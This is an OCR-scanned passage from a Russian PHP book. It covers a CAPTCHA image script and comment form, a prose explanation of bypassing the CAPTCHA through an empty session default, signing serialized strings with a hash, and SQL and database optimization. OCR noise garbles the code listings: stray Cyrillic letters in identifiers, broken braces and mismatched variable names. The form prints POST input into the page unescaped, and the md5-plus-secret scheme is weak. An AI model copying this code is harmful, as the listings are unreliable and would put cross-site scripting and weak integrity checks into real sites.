
irnagefill($irng, О, 0, OxFFFFFF); 

$х=О; 

$i=l; 

$sum = ""; 

while ($i++ <= 5) { 

irnagettftext($irng, 

rand{14,18), 

rand(-12,12), 
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$х=$х+20, 

lS+rand(0,5), 

imagecolorallocate($irng,rand(0,$i*25),rand(0,$i*25),rand(0,$i*25)), 

"arial.ttf", 

$rnd=rand(0, 9)); 

Глава З 

$surn = $surn. (string)$rnd; 

imageline($irng, О, rand(0,24), 130, rand(0,40), $DDDDDD); 

$_SESSION[secret_nurnЬer] = $surn; 

irnagepng($irng); 

imagedestroy($irng); 

?> 

Давайте рассмотрим, что здесь происходит, поскольку в этом сценарии много ин

тересного, да и с картинками мы пока еще не работали. 

Сразу после запуска сеанса мы вызываем функцию header () . Сделать это следует 

до вывода какой бы то ни было информации, потому что она задает заголовок по

следующих данных. Если вы не вызовете эту функцию, то будет создан заголовок 

по умолчанию, который соответствует НТМL-странице. Наш сценарий должен соз

давать картинку, а не страницу, поэтому мы вызываем функцию header () и указы

ваем в качестве параметра "Content-type: image/png". Этот тип заголовка опреде
ляет картинку в формате PNG, и именно ее мы должны сгенерировать в сценарии. 

После этого вызывается функция imagecreatetruecolor (), которая создает картинку 

в памяти сервера. В качестве параметров передаются требуемые ширина и высота 

картинки. Сразу же заполняем всю область картинки белым фоном с помощью 

функции imagefill (). 

Фон для рисования готов. Запускаем цикл из пяти шагов, на каждом шаге которого 
рисуем одну случайную цифру и линию со случайными координатами. В том же 

цикле мы добавляем к переменной $surn нарисованную цифру. В этой переменной 

мы собираем сгенерированный код защиты в одно целое. 

ПРИМЕЧАНИЕ 

Обратите внимание, что в сценарии используется шрифт из файла arial.ttf. Это шрифт 
входит в стандартную поставку Windows. Я не уверен, что у меня есть право распро
странять его файл, поэтому, если вы хотите воспользоваться моим сценарием, то за
мените имя файла шрифта тем, на который имеете право. После этого не забудьте 
разместить файл шрифта на сервере вместе с файлом protect.php. 

Теперь посмотрим, как может выглядеть сценарий, использующий тест САРТСНА 
для защиты. Допустим, что это сценарий блоrа, в котором посетители могут остав

лять свои сообщения. Форма нашего сценария будет выглядеть так, как показано на 
рис. 3.3. 

Теперь посмотрим на сам сценарий формы, который представлен в листинге 3.4. 
Этот код нужно сохранить в файле message.php. 
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Имя пользователя: 

Комментарий: 

Код безопасности: 

8 Интермет I Защкщенный �м: slCJI. 

<? session_start(); ?> 

<htпй> 
<head> 

Рис. 3.3. Форма комментирования 

<title>Using captcha</title> 

</head> 

<body> 

<? 

if ($_SESSION[secret_numЬer] == "")

{ 
$_SESSION[secret_numЬer] = "АВСD"; 

if (isset($ POST[comtext])) 

if ($_SESSION["secret_numЬer"] != $ POST[pkey]) 

{ 
?><hl>Wrong secret numЬer</hl><? 

else 

} 

} 
?> 

?><hl>You are the best</hl><? 
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<form name="product" action="rnessage.php" rnethod="post"> 
<tаЫе width="l00%" border="0"> 
<tr> 
<td><р>Имя посетителя:</р> </td> 
<td><input name="username" value="<? print($_POST[username]); ?>" 

size="72"></td> 
</tr> 
<tr> 
<td><р>Комментарий:</р> </td> 
<td><textarea cols="Sб" name="corntext" rows="20" wrap="virtual"> 

<? print(stripslashes($_POST[corntext])); ?></textarea></td> 
</tr> 
<tr> 
<td ><р>Код безопасности:</р> </td> 
<td><input name="pkey" value="" size="S0"> <irng src="protect.php" ></td> 
</tr> 
</tаЫе> 
<p><input type="suЬrnit" vаluе="Сохранить"></р> 
</forrn> 
</body> 

Глава З 

В этом сценарии нам также нужно запустить сеанс, чтобы можно бьmо видеть зна
чение секретного кода. После этого идет РНР-код, который мы рассмотрим чуть 
позже, и НТМL-код формы, которую видит посетитель. Чтобы отобразить картинку 
кода, мы используем тег <irng>, просто вместо пути к изображению указываем путь 
к сценарию protect.php, написанному ранее: 

<irng src="protect.php" > 

При использовании теста САРТСНА есть один нюанс - _нельзя забывать, что 
переменная секретного кода ранее нигде не устанавливалась. Посмотрим, что про
изойдет, если мы просто напишем сравнение: 

if ($_SESSION[secret_nurnЬer] != $ POST[pkey]) 

Здесь мы сравниваем значение секретного кода из сеанса с параметром, передан
ным от посетителя. В чем опасность? Если хакер сохранил страницу у себя на дис
ке, чтобы отправить запрос со своего компьютера, и при этом удалил из сценария 
поле с защитным кодом и обращение к картинке, то у нас начнутся проблемы. 
После загрузки этой формы без картинки переменная в сеансе будет пустой. Если 
хакер отправит этот запрос на сервер и оставит параметр pkey пустым, то обе части 
условия будут пустыми и результат проверки окажется положительным. То есть 
хакер легким движением руки обойдет нашу проверку САРТСНА. 

Эта уязвимость относится к классу уязвимостей, связанных с установкой значений 
по умолчанию. Из-за того, что значения по умолчанию у двух переменных одина
ковы, задача хакера сводится к тому, чтобы не навредить и убрать все лишнее. 
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Защита от такого обхода проста. Перед сравнением параметров нужно добавить 
следующую проверку: 

if ($_SESSION[secret_nurnЬer] == ""}

{ $_SESSION[secret_nurnЬer] = "АБСD"; 

Если сеансовая переменная пуста, т. е. картинка ранее не вызывалась, необходимо 
сохранить в сеансе какой-нибудь «шум», чтобы там не было пустого значения по 
умолчанию. Теперь хакеру будет затруднительно обойти проверку САРТСНА. Нам 
еще остается принять меры, чтобы хакер не смог узнать наше значение по умолча
нию. Если вы пишете открытый код, который будут видеть другие, то инициализи

ровать переменную лучше случайным значением. 

3 .19. Сериалиэация 

Серuшtизация - это превращение объектов или данных в строку. Зачем это может 
понадобиться? Допустим, что у нас есть класс: 

class TestClass 
puЫic $name; 

Теперь вы можете создать объект этого класса и назначить переменной name какое
то значение: 

$test = new TestClass(}; 
$test->name = "Михаил"; 

А что, если теперь вы хотите сохранить этот объект так, чтобы можно было его ис
пользовать в будущем или отправить его по сети? Поскольку тут только одна пере
менная и достаточно простая структура, то задача может показаться весьма про
стой. Но что, если перед нами сложный объект с десятком переменных, часть из 
которых являются объектами со своими свойствами, а еще часть - это массивы 
комплексных типов данных. Придется изобретать какой-то формат, который можно 
будет потом с легкостью отправить по сети или сохранить в файл. 

К счастью, такой формат данных уже давно существует- это строка. Текстовые 
строки легко передаются по сети и легко сохраняются в файлах. Получается, наша 

задача заключается просто в том, чтобы превратить объект тestClass в строку и 
обратно. 

И вот тут на помощь приходит сериализация и ее два замечательных метода: 

serialize и unserialize. В качестве параметра serialize нужно передать перемен
ную, а в результате вызова метода получить строку. В случае с unserialize все на
оборот - передаем строку, а получаем переменную, которая является копией ис
ходной версии. 

Посмотрим на следующий пример, где объявляется новый класс, создается пере
менная типа этого класса, потом объект сериализуется и восстанавливается об
ратно: 
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class TestClass { 
puЬlic $name; 

// создать переменную типа TestClass 
$test = new TestClass(); 
$test->name = "Михаил"; 

// сериализуем 
$serialized = serialize($test); 
echo "Сериализованная версия:"; 

// отобразить результат 
print($serialized); 
echo "<hr/>"; 
// десериализуем 
$d = unserialize($serialized); 
print($d->name); 

Глава 3 

В результате выполнения этого кода на странице должно появиться что-то типа: 

Сериа.nизованная версия: 0:9:"TestClass":1:{s:4:"name";s:12:"Миxaил";} 

Михаил 

Очень часто возникает желание сохранить сериализованную строку, но при этом 
нужно быть очень аккуратным. Такие строки могут передаваться между веб-сай
тами, и если хакеру удастся повлиять на содержимое строки, то он сможет создать 
вредоносный объект в коде сайта, ведущий к его взлому. 

В таких случаях РНР мало что может сделать для защиты сериализации. Чтобы 
обезопасить строку от изменений, можно подсчитать хеш-сумму и передавать/хра
нить ее вместе со сериализованной строкой. Любое изменение строки приведет 
к изменению хеш-суммы, а значит, мы узнаем о ее изменении, сможем поднять 
панику и не десериализовывать измененную строку. 

Итак, логика работы будет такой: сериализовать объект, подсчитать сумму и хра
нить или передать по сети и то и другое. Получатель тоже подсч":lтывает сумму по 
полученной строке и сравнивает ее с полученной хеш-суммой - значения должны 
совпадать. 

Тут очень важно, что для подсчета хеш-суммы нельзя использовать функции, кото
рые известны всем и которыми может _воспользоваться злоумышленник для под
мены суммы. Иначе он сможет подсчитать сумму измененной строки и подменить 
и ее. Чтобы этого не произошло, нужно использовать хеш-функцию с каким-то сек
ретом. 

Самым популярным решением, на мой взгляд, является mhash: 

$hash = mhash(МНASH_MD5, $serialized, 's0km2*723kJHn2'); 
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У этой функции три параметра: 

□ код алгоритма, который мы хотим использовать;

□ строка, хеш-сумму которой мы хотим узнать;

□ секрет.

Теоретически можно обойтись и функцией md5 (), которую мы уже видели в этой 
главе (см.разд. 3.1 О), просто к сериализованной строке добавлять какой-то секрет: 

$hash = md5($serialized . 's0Jan2*723kJHn2'); 

Злоумышленник может воспользоваться функцией md5 для подсчета суммы, но она 

будет верной только в том случае, если он знает секрет, который мы добавили. 
Если этот секрет останется секретом, то мы можем чувствовать себя в безопас
ности. 
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ГЛАВА 4

Оптимизация 

Вопрос оптимизации сложен, но очень важен. Оптимизация - один из способов 
сделать программу максимально быстрой, эффективной и выделяющейся на фоне 
остальных. 

Приятно, когда слабый сервер может быстро обрабатывать сложные задачи боль
шого количества клиентов, и абсолютно недопустимо, когда мощный сервер зави
сает при решении простых задач. В такие моменты вспоминаются времена 1970-
1990-х годов, когда памяти у компьютера было мало, а мощность процессора изме" 
рялась в мегагерцах. В те времена программисты бились за каждый байт памяти 
и экономили каждый такт процессорного времени. 

Когда я первый раз запустил игру Doom, то был ошеломлен ее возможностями и 
скоростью работы. По тем временам это было что-то впечатляющее и умопомрачи
тельное. Через несколько лет я снова поразился, когда увидел трехмерную игру, 
которая сильно уступала по качеству графики своим конкурентам и при этом рабо
тала намного медленнее, - ее код явно требовал оптимизации. 

Правильно написанный и оптимизированный код может сэкономить вам деньги на 
покупку и обновление оборудования. 

Язык РНР - интерпретируемый, и тут очень сложно давать какие-то рекоменда
ции, потому что больше всего на скорость выполнения программ влияет именно 
интерпретатор. В компилируемых языках программирования, когда все зависит от 
машинного кода, мы можем идти на какие-то хитрости, использовать ассемблер для 
создания более быстрых алгоритмов. 

4 .1 . Алгоритм 

Можно сколько угодно биться над повышением производительности программы 
и достичь лишь минимальной выгоды, если алгоритм программы изначально не 
способен работать быстрее. Но если изменить алгоритм, !1роизводительность может 
вырасти в несколько раз. 
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Рассмотрим пример. Допустим, что вам нужно отсортировать список названий 

городов (назовем его Listl). Для этого можно действовать по следующему алго

ритму: 

1. Создать новый список List2, который будет хранить отсортированные данные.

2. Взять первый элемент списка Listl и поместить его в переменную х.

3. Сравнить переменную х с очередным элементом списка List2.

4. Если х окажется меньше, то вставить его в список List2 перед сравниваемой

строкой. Иначе перейти к сравнению со следующим элементом списка List2.

5. Выполнять шаги 3 и 4, пока х не найдет свое место. Если список List2 закончил

ся, значит, х больше всех элементов и его нужно вставить в конец списка.

6. Взять следующий элемент списка Listl, поместить его в переменную х и перей-

ти к шагу 3.

Для реализации этого алгоритма нужны два цикла, причем один из них вложенный. 

Первый цикл перебирает список Listl, и для каждого элемента выполняется цикл, 

в котором проверяются все элементы списка List2. Помимо этого, на каждом шаге 

цикла происходит сравнение. Если сосчитать количество произведенных операций, 

то получится очень большое число. К тому же сам алгоритм прост только на пер

вый взгляд. На самом деле, для его реализации нужно очень постараться и при этом 

не ошибиться, а здесь хватает мест, где можно допустить ошибку. 

Можно как-то попытаться увеличить скорость операций сравнения, но тут у нас 

слишком ограничены возможности. Если у самого процессора есть несколько спо

собов сравнить два числа, то у РНР их можно пересчитать по пальцам одной руки. 

Лучший способ повышения скорости программы - изменить алгоритм. Существу

ет множество разных алгоритмов сортировки, работающих намного быстрее, чем 

банальный перебор. Они отличаются различными требованиями к ресурсам. Здесь я 

не буду их рассматривать, ибо это выходит за рамки моей книги, но настоятельно 

рекомендую вам почитать книги с описанием алгоритмов. 

Лучшей работой в этой области считается книга Дональда Кнута «Искусство про

граммирования», но, на мой взгляд, она немного тяжеловата. Выберите что-нибудь 

попроще. Я не стану советовать что-либо конкретное, потому что изучал алгорит

мы очень давно, и те книги уже, скорее всего, исчезли с полок магазинов. Думаю, 

вам стоит прочитать книги разных авторов, потому что каждый из них описывает 

проблему по-своему и какой-то алгоритм может быть понятнее в описании одного 

автора, а другой - в описании другого. 

Большинство программ так или иначе использует математические алгоритмы, по

этому для написания эффективных программ . вы должны хорошо разбираться 

в этом вопросе. 
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4. 2. Слабые места

Когда мне приходится писать про оптимизацию, я всегда делаю большой упор на 
понятие слабого места. Чтобы лучше уяснить, о чем идет речь, давайте рассмот
рим интересный пример с наращиванием производительности компьютера. 

Предположим, что у вас есть сервер на базе последнего процессора и интернет
канал 256 Кбит/с. Допустим, что этот сервер не успевает обрабатывать запросы 
клиентов, и администратор вынужден наращивать его мощность. Что делать? На
прашивается аппаратное решение - внедрение двухпроцессорной системы, но не 
обязательно, что это решит проблему. Возможно, узким местом является канал свя
зи. Процессор успевает обрабатывать все запросы пользователей, да еще и про
стаивает, пока канал перекачивает обработанные данные. Получается, что затраты 
на аппаратное решение были лишними, поскольку скорость обработки не повы
силась. 

Ярким примером слабого места в компьютерах является жесткий диск. До сих пор 
в качестве устройств долговременной памяти во многих системах используются 
накопители на жестких магнитных дисках (НDD). В таких случаях нет смысла уве'" 
личивать память и менять процессор, потому что производительность системы 
в целом это увеличит не сильно. Но стоит поменять НDD на твердотельный нако
питель (SSD), как даже старый компьютер на процессоре 5-летней давности начи
нает работать очень даже шустро. 

При написании программ и сценариев нужно также искать самые слабые места и 
начинать оптимизацию с них. Если бы мы говорили о компилируемом языке, то я 
смог бы назвать десяток действительно узких мест. Возможности РНР намного ни
же, поэтому не всегда удается увеличить производительность там, где это действи
тельно нужно. Но есть одно узкое место, которое присутствует в любом языке про
граммирования, - это циклы. Допустим, что у нас есть следующий псевдокод: 

Предварительные расчеты 

Начало цикла, который вьmолняется 100 раз 

Сосчитать число Пи; 

Сумма = Пи+ 1; 

Конец цикла 

Окончательные расчеты 

Если пытаться оптимизировать код в предварительных и окончательных расчетах, 
то можно добиться незначительного повышения производительности. Даже если 
вы сможете убрать 5 или 1 О лишних операций, заменив их одной, сценарий будет 
выполняться лишь на несколько операций быстрее. Но если убрать расчет числа тt 
за пределы цикла в предварительные расчеты, то экономия составит 100 операций. 
Цикл сокращается, становится проще, и не надо 100 раз считать одно и то же: 

Предварительные расчеты 

Сосчитать число Пи; 
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Начало цикла, который вьпюлняется 100 раз 

Сумма = ПИ+l; 

Конец цикла 

Окончательные расчеты 
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Получается, что если тратить время на оптимизацию достаточно быстро работаю
щего кода, то выгода будет ми!iимальной. Но если оmимизировать узкое место, то 
в результате мы получим действительно быстро работающий сценарий. 

4. 3. Базы данных

Так как РНР используется в основном для доступа к базам данных, то вопрос их 
оmимизации нельзя обходить стороной. Доступ к данным осуществляется с помо
щью запросов на языке SQL, который был стандартизирован много лет назад, но не 
потерял своей актуальности и по сей день. А вот возможности, которые он предос
тавляет, слишком просты и не обеспечивают современные потребности, поэтому 
производители баз данных наделяют язык своими возможностями с собственным 
специфическим синтаксисом. 

В своей практике я использовал различные системы управления базами данных 
(СУБд) и не раз обжигался на том, что они по-разному могут обрабатывать даже 
запросы SQL стандарта 1992 года. Вроде бы все выполняется верно, но с неболь
шими отклонениями - например, сервер не всегда поддерживает чтение данных, 
которые записаны в базу данных, но еще це подтверждены. 

Поэтому вы должны с самого начала писать сценарий имен}IО ·под ту базу данных, 
с которой будет происходить работа. Нельзя писать код под MS SQL Server или 
MySQL, а потом перенести его под Oracle, просто изменив синтаксис. Это совер
шенно разные базы, они работают по-разному, и у вас могут возникнуть проблемы 
не только из-за потери производительности, но и вследствие получения ошибочных 
результатов. 

При оmимизации приложений для работы с базами данных нужно действовать 
с двух сторон: оmимизировать саму базу данных (сервер базы) и средства доступа 
к данным (запросы). Работать нужно сразу над обеимц этими составляющими, по
тому что они взаимосвязаны. Так

1 
повышение производительности сервера может 

негативно сказаться на производительности запроса. Ярким примером такой ситуа
ции служат индексы. Если вы создали индекс для повышения скорости работы 
с таблицей, это не значит, что запрос будет работать быстрее, - может оказаться и 
наоборот, особенно в тех случаях, когда создано очень много индексов. 

Давайте рассмотрим принципы, которыми вы должны руководствоваться при 
оmимизации приложений для работы с базам1:1 данных: Это только общие принци
пы - не забывайте, что у конкретной СУБД могут быть свои особенности. 
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4.3.1. Оптимизация запросов 

Некоторые программисты считают, что SQL-запросы работают одинаково в любой 
СУБД. Это большая ошибка. Действительно, существует стандарт SQL, и запросы, 
написанные на этом языке, будут восприняты в большинстве систем одинаково. Но 
только «восприняты», а обработка может происходить совершенно по-разному. 

Максимальные проблемы во время переноса приложения могут быть вызваны рас
ширениями языка SQL. Так, например, в MS SQL Server используется Transact
SQL, а в Oracle - PL/SQL, и их операторы совершенно несовместимы. Вы должны 
заранее определиться с выбором СУБД и используемого языка, чтобы не столк
нуться с возможными проблемами в будущем. 

Но даже если вы переведете свой код с одного языка на другой, проблем будет 
очень много. Это связано с различными архитектурами оптимизаторов запросов, 
разницей в блокировках и т. д. Если код программы при смене СУБД требует не
значительных изменений, то SQL-запросы нужно переписывать полностью и с са
мого начала, даже не обращая внимания на то, что вы использовали в предыдущей 
версии программы для другой базы данных. Только самые простые запросы будут 
одинаково работать в базах данных с разной архитектурой. 

Несмотря на существенные различия между базами данных разных производите
лей, есть и общее. Например, большинство СУБД выполняет запросы следующим 
образом: 

1. Разбор запроса.

2. Оптимизация.

3. Генерация плана выполнения.

4. Выполнение запроса.

Это всего лишь общий план выполнения, а для каждой конкретной СУБД количе
ство шагов может быть разным. Но главное состоит в том, что выполнению запроса 
предшествует несколько шагов по подготовке, которые отнимают много времени. 
После выполнения запроса использованный план будет сохранен в специальном 
буфере. При следующем запуске сервер получит эти данные из буфера и сразу же 
начнет выполнение без лишних затрат на подготовку. 

Теперь посмотрим на два запроса: 

SELECT * 

FROM TaЬleNarne 

WHERE ColurnnNarne=lO 

и 

SELECT * 

FROМ TaЬleNarne 

WHERE ColurnnNarne=20 

Оба запроса выбирают данные из одной и той же таблицы. Только первый покажет 
строки, в которых колонка ColurnnNarne содержит значение 10, а второй- строки, 
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где эта же колонка содержит значение 20. На первый взгляд, запросы очень похожи 
и должны выполняться по одному и тому же плану. Но это видно только человеку, 
а не оптимизатору, который воспринимает такие запросы как разные и будет для 
каждого выполнять все подготовительные шаги, несмотря на их схожесть. 

Чтобы избежать этого, нужно использовать в запросах переменные. Переменные 
SQL схожи по назначению с переменными РНР, но в зависимости от базы данных 
и драйвера они могут иметь разный внешний вид. Поэтому я не буду отвлекаться 
на конкретные синтаксические правила, чтобы не сбить вас с толку, а просто буду 

называть переменные именем paramX, где х - это любое число: 

SELECT * 

FROM TaЬleName 

WHERE ColumnName=paraml 

Теперь, выполняя запрос, достаточно только передать серверу значение перемен

ной paraml, и в этом случае запросы будут восприниматься оптимизатором как 
одинаковые и лишних затрат на подготовительные этапы не случится. 

Буфер для хранения планов выполнения не бесконечен, поэтому в нем хранятся 
данные только о последних запросах (количество зависит от размера буфера). Если 
какой-то запрос выполняется достаточно часто, то в нем обязательно нужно ис
пользовать переменные, потому что это значительно повысит производительность. 
Попробуйте дважды выполнить один и тот же запрос и посмотреть на скорость 
выполнения. Вторичное выполнение будет намного быстрее, что можно заметить 
даже на глаз. 

Если запрос выполняется быстро, но очень редко, то на оптимизацию можно особо
го внимания и не обращать - незачем оптимизировать то, что и так работает 
быстро и выполняется редко ( план выполнения не сохранится в буфере до следую
щего вызова). Здесь нет слабого места. Но это не значит, что можно вообще игно
рировать оптимизацию. Просто не стоит на ней заострять слишком большое вни
мание в случаях, когда эффект будет минимальным. 

А вот задачи, которые выполняются часто, должны работать максимально быстро. 
Даже если запрос происходит с приемлемой для клиента скоростью, тысяча таких 
запросов создаст достаточно большую нагрузку на сервер, и он сразу же станет 
узким местом в вашей системе. Получается, что частые запросы можно восприни
мать как цикл с точки зрения сервера, а мы уже говорили, что цикл сам по себе 
является слабым местом. 

Современные базы данных могут поддерживать подзапросы. И иногда программи
сты начинают ими злоупотреблять. При написании запросов старайтесь использо

вать минимальное количество операторов SELECT, особенно вложенных в секцию 
wнERE. Для повышения производительности иногда хорошо помогает вынос лишне

го SELE;CT в секцию FROМ. Но иногда бывает и обратное: быстрее будет выполняться 
запрос, в котором SELECT вынесен из FROМ в тело WНERE. Это уже зависит от оптими
затора запросов конкретной СУБД. 

Допустим, нам надо выбрать всех людей из базы данных, которые работают на 

предприятии в нестоящее время. Для всех работающих в колонке status ставится 



194 Глава 4 

код, который можно получить из справочника состояний. Посмотрим на первый 
вариант запроса: 

SELECT * 
FROM tbPerson р 
WHERE p.idStatus= 

(SELECT [Keyl] FROM tbStatus WНERE sNаmе='Работает') 

Главное здесь в том, что в секции WНERE выполняется подзапрос. Он будет генери

роваться для каждой строки в таблице tbPerson, что может оказаться слишком на
кладным для сервера (опять получается цикл). 

Для такого простого запроса, наверно, уже все современные базы данных выберут 
оптимальный план выполнения. В частности, та же MS SQL Server прекрасно най
дет для него такой план. Но если запрос будет более сложный, связывающий не
сколько таблиц и несущий какие-то дополнительные проверки, то тут очень часто 
даже весьма умный оптимизатор MS SQL Server может дать серьезный сбой. 

В такие моменты я думаю, что лучшие базы данных - те, которые не могут рабо
тать с вложенными запросами, а лучшие программисты - те, которые не знают 
о существовании подзапросов или просто не умеют ими пользоваться. В этом слу
чае программист напишет два запроса. Первый будет получать статус: 

SELECT [Keyl] 
FROМ tbStatus 
WHERE sNаmе='Работает' 

А второй - использовать его для выборки работников: 

SELECT * 
FROM tbPerson р 
WHERE р.idStаtus=Полученный Статус 

Такой запрос будет выполняться на сервере без цикла. 

Теперь посмотрим, как можно вынести запрос SELECТ в секцию mом. Это можно 
сделать следующим образом: 

SELECT * 
FROM tbPerson р, 

(SELECT [Keyl] FROМ tbStatus WHERE sNаmе='Работает') s 
WHERE p.idStatus=s.Keyl 

В этом случае сервер выполнит запрос из секции FROМ. А во время связывания 
результата с таблицей работников мы получим окончательный результат. Таким 
образом, для каждой строки с информацией о работнике не будет выполняться под
запрос, и надобность в цикле отпадет. 

Эти примеры слишком просты и благодаря оптимизатору могут выполняться на 
современном сервере одинаково с точностью до микросекунды. Но при более раз
ветвленной структуре и сложном запросе можно сравнить работу разных запросов 
и увидеть наиболее предпочтительный вариант для определенной СУБД (напоми
наю, что разные базы данных могут обрабатывать запросы по-разному). 
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В большинстве же случаев каждый SELECT отрицательно влияет на скорость работы, 
поэтому в предыдущем примере нужно избавиться от него следующим образом: 

SELECT * 

FROM tbPerson р, tbStatus s 

WHERE p.idStatus=s.Keyl 

AND s.sName= 'Paбoтaeт' 

В этом случае такое объединение является самым простым и напрашивается само 

собой. 

Можно пойти дальше и написать еще более простой запрос - с использованием 

оператора JOIN:

SELECT * 

FROM tbPerson р 

INNER JOIN tbStatus s ON p.idStatus=s.Keyl 

WHERE sNаmе= 'Работает' 

Подобный синтаксис наиболее прост для оптимизатора запросов. По возможности 

старайтесь везде использовать операторы JOIN.

В более сложных примерах программисты очень часто не видят возможности 
решения задачи одним запросом, хотя это решение существует. Допустим, что 

у нас есть таблица А с полями: 

□ Code - может быть О или 1;

□ FirstName - имя;

□ LastName - фамилия.

В этой таблице хранится список сотрудников. Для каждого сотрудника есть всего 
две записи: с кодом 1 и с кодом. О. Записи с кодом О могут быть связаны с таблицей 

Info, в которой будет храниться полная информация о сотруднике. Нам надо полу

чить все записи с кодом О, для которых существует связь между таблицами А 

и Info. Такую задачу решают двойным запросом: 

SELECT * 

FROM Info i, 

(SELECT * FROM А, Info WHERE a.LastName= info.LastName) s 

WHERE Code=0 

AND a.LastName=s.LastName 

Но этот пример можно решить и более простым способом: 

SELECT i2.* 

FROM Info il, А, Info i2 

WHERE il.Code=l 

AND il.LastName=A.LastName 

AND il.LastName=i2.LastName 

AND i2.Code=0 
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Здесь в запросе мы дважды ссылаемся на одну и ту же таблицу Info и строим связь 
Info - А - Info. На первый взгляд, связь получается сложной, но при наличии 
правильно настроенных индексов этот пример будет работать в несколько раз 
быстрее, чем с использованием подзапросов SELECT. 

Можно разбить один запрос на несколько. Например, для MS SQL Server предыду
щий пример может выглядеть следующим образом: 

Declare @id int 

SELECT @id=[id] 
FROM tbStatus 
WHERE sNаmе='Работает' 

SELECT * 
FROM tbPerson р 
WHERE p.idStatus=@id 

В этом примере мы сначала объявляем переменную @id. Затем в ней сохраняем 
значение идентификатора, а потом уже ищем соответствующие строки в таблице 
tbPerson. 

Как видите, одну и ту же задачу можно решить разными способами. Некоторые 
реализации будут работать с одинаковой скоростью, а у других производитель
ность может различаться в несколько раз. 

Как мы уже говорили, при написании программы вы должны полностью изучить 
систему, в которой программируете. То же самое справедливо и для баз данных. 
Вы должны четко представлять себе систему, в которой работаете, ее преимущест
ва и недостатки. Невозможно предложить универсальные методы написания 
эффективного кода, которые работали бы абсолютно везде. Изучайте, эксперимен
тируйте, анализируйте и тогда вы сможете с максимальным эффектом· использовать 
доступные ресурсы. 

4.3.2. Оптимизация СУБД 

Оптимизация должна начинаться еще на этапе проектирования базы. Очень часто 
программисты задают полям размеры с большим запасом. Я сам так поступал, ко
гда проектировал свои первые таблицы базы данных. Трудно предсказать, данные 
какого размера будут храниться, а если выбранного размера поля не хватит, то про
грамма не сможет сохранить необходимую строку. 

В некоторых базах данных, если не указать размер поля для хранения строки, то он 
устанавливается в максимально возможное значение или в 255. Это непроститель
ное расточительство дискового пространства, и база данных становится неоправ
данно большой. Чем больше база данных, тем сложнее ее обработать, но если 
уменьшить ее размер, то сервер сможет максимально быстро загрузить данные 
в память и произвести поиск без обращения к жесткому диску. Если база данных не 
помещается в памяти, то серверу приходится загружать ее по частям, а в худшем 
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случае- использовать память файла (для ОС Linux- раздела) подкачки, который 
находится на диске и работает в несколько раз медленнее оперативной памяти. 

Хорошо, что сейчас стал популярным тип данных varchar, который при хранении 
данных не выделяет фиксированный размер данных в памяти, а задействует лишь 
столько данных, сколько нужно для хранения строки. Используйте этот тип дан
ных, но даже в этом случае не нужно выделять на все колонки максимальный раз
мер возможных данных. Сумма размеров колонок в индексе некоторых баз данных 
имеет определенный лимит, который нельзя превышать. У MS SQL Server точно 
есть такой лимит. 

Одновременно с оптимизацией запросов вы должны оптимизировать и саму базу 
данных. Это достигается с помощью введения дополнительных индексов на поля, 
по которым часто происходит выборка данных. Индексы могут значительно уско
рить поиск, но с ними нужно обращаться аккуратно, потому что слишком большое 
количество индексов может замедлить работу. Чаще всего замедление происходит 
во время добавления или удаления записей, потому что требуется внесение измене
ний в большое количество индексов. 

После внесения изменений в индексы вы должны протестировать систему на пред
мет производительности. Если скорость не увеличилась, то удалите индекс, чтобы 
он не отнимал ресурсы, потому что добавление следующего индекса может не при
нести желаемого эффекта из-за присутствия неиспользуемых индексов, непроизво
дительно расходующих ресурсы. 

Еще одним способом повышения скорости работы запросов может быть денорма
лизация данных. Что это такое? У вас может быть несколько связанных таблиц. 
В первой из них находится, например, фамилия человека, а в пятой - город про
живания. Чтобы получить в одном запросе оба значения, нужно навести связь меж
ду этими таблицами, и для сервера такой запрос может быть слишком сложным. 
В подобных случаях название города копируют в ту же таблицу, где находится 
фамилия, и связь становится ненужной. Конечно же, появляется и избыточность 
данных - в двух таблицах хранятся одни и те же данные, и в таблице с фамилиями 
во многих строках будет повторяться название города, но это повысит скорость. об
работки, и иногда очень значительно. 

Недостатком денормализации является и сложность поддержки данных. Если в од
ной таблице изменилось значение, то вы должны обновить соответс1в�щие зна
чения и в другой. Именно поэтому для денормализации используют только те поля, 
которые изменяются редко. Благо, города у нас переименовывают не каждый день, 
и их список легко сопровождать даже вручную, но если сервер поддерживает триг
геры, то можно возложить эту задачу и на сервер баз данных. 

Наиболее распространенной базой данных для веб-приложений является MySQL. 
Для нее есть один автоматический метод оптимизации- оператор OPTIMIZE, кото
рый может повысить работу таблиц с помощью выполнения профилактических 
действий, которые включают сортировку индексных страниц, обновление стати
стики, очистку удаленных строк и т. д.· Оператор имеет следующий вид: 

OPTIMIZE ТАВLЕ narne 

В качестве параметра narne укажите имя таблицы, которая требует оптимизации. 
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Для того чтобы выбрать правильный план выполнения запроса, современные сер
веры баз данных используют статистику. Если у вас не включено автоматическое 
использование статистики, то я рекомендую сделать это сейчас. 

Чем нам поможет статистика? Допустим, что у нас есть список работников литей
ного цеха. В такой таблице, наверное, 90% ( если не более) составят мужчины, ведь 
работа в литейном производстве тяжела для женщин. Теперь предположим, что нам 
нужно найти всех женщин. Так как их мало, наиболее эффективным вариантом бу
дет использование индекса. Но если нужно найти мужчин, то эффективность ин
декса падает. Количество выбираемых записей слишком велико, и для каждой из 
них обходить дерево индекса весьма накладно. Намного проще просканировать всю 
таблицу один раз, что выполнится намного быстрее, потому что серверу достаточно 
по одному разу прочитать все листья нижнего уровня индекса, без необходимости 
многоразового чтения всех уровней. 

В моей практике бьши случаи, когда приходилось обновлять статистику на сервере. 
После большой загрузки данных на сервер иногда приходится вызывать команду 
MS SQL Server update statistics, чтобы сервер мог собрать максимум необходи
мой информации для правильного выбора лучшего плана выполнения запросов. 

4. З. З. Выборка необходимых данных
При работе с базами данных мы регулярно пишем запрось1 на выборку данных. 
Количество выбираемых данных может быть очень большим. Простой пример -
поисковая система. Попробуйте на сайте yahoo.com или google.com запустить по
иск по слову РНР. Мне поисковая система сообщила, что найдено около 690 млн 
записей, и при этом на обработку запроса понадобилось только 0,05 секунды. 
В реальности выборка таких данных даже на самом быстром компьютере будет 
происходить намного дольше. Так откуда же такая высокая скорость? Нет, решение 
находится не в мощных компьютерах компании google.com, а в быстрых алгорит
мах поиска и правильном подходе. 

Допустим, что каждая строка в базе данных Google занимает всего l 00 байтов. 
В реальности, конечно же, размер строки намного больше, но мы ограничимся та
ким маленьким числом, и его вполне хватит, чтобы поразить наше воображение. 
Если умножить число 100 на количество строк (690 млн), то получится, что резуль
тат запроса будет занимать около 64 Гбайт. Даже если сервер базы данных и сцена
рий находятся на одном компьютере, получение таких данных займет не один деся
